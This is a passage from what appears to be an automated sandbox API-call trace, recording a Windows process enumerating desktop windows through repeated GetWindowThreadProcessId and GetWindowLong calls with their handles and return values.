lpdwProcessId=0x0) returned 0xbdc [0151.151] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0151.152] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0151.152] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0151.152] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.152] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0151.152] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0151.152] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0151.152] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.152] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0151.152] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0151.152] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0151.152] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0151.153] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.153] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0151.153] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0151.153] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0151.153] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.153] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0151.153] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0151.154] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.154] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0151.154] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.154] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0151.154] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.154] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.155] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.155] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.155] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.155] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.155] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.156] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0151.156] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0151.156] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0151.156] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0151.157] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0151.157] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0151.157] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0151.157] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0151.158] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0151.158] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0151.158] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0151.158] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0151.158] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0151.159] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0151.159] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0151.159] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0151.159] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0151.160] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0151.160] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0151.160] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0151.160] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0151.161] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0151.161] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0151.161] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0151.161] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0151.161] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0151.162] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0151.162] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0151.162] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0151.162] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0151.163] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0151.163] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0151.163] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0151.163] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0151.163] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0151.164] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0151.164] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0151.164] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0151.164] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0151.165] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0151.165] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0151.165] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0151.165] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0151.166] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0151.166] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0151.166] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0151.166] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0151.166] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0151.167] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0151.167] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0151.167] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0151.167] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0151.168] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0151.168] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0151.168] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0151.168] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0151.169] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0151.169] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0151.169] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0151.169] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0151.169] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0151.170] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0151.170] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0151.218] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0151.218] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0151.219] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0151.219] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0151.219] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0151.219] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0151.219] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0151.220] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0151.220] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0151.220] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0151.220] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0151.221] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0151.221] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0151.221] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0151.221] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0151.221] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0151.222] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0151.222] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0151.222] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0151.222] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0151.223] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0151.223] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0151.223] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0151.223] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0151.223] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0151.224] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0151.224] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0151.224] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0151.224] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0151.225] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0151.225] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0151.225] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0151.225] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0151.225] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0151.226] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0151.226] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0151.226] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0151.226] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0151.227] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0151.227] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0151.227] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0151.227] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0151.227] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0151.228] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0151.228] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0151.228] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0151.228] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0151.229] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0151.229] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0151.229] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0151.229] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0151.230] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0151.230] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0151.230] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0151.230] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0151.230] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0151.231] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0151.231] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0151.231] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0151.231] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0151.232] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0151.232] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0151.232] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0151.232] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0151.233] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0151.233] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0151.233] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0151.233] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0151.234] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0151.234] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0151.234] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0151.234] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0151.234] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0151.235] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0151.235] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0151.235] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0151.235] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0151.236] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0151.236] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0151.236] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0151.236] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0151.236] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0151.237] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0151.237] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0151.237] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0151.237] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0151.238] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0151.238] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0151.238] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.238] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0151.238] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.239] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.239] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.239] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0151.239] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0151.240] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.240] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0151.240] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0151.240] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.240] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0151.241] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0151.241] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0151.241] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0151.241] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0151.242] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0151.242] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0151.242] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0151.242] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0151.370] GetCurrentThreadId () returned 0xbdc [0151.370] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0151.370] GetDesktopWindow () returned 0x10010 [0151.370] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.371] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.371] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.371] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0151.372] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0151.372] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0151.372] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.372] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.372] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.373] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.385] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.385] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.385] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.385] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.386] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.386] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.386] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.386] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0151.386] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.387] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.387] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.387] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0151.387] GetWindowLongPtrA 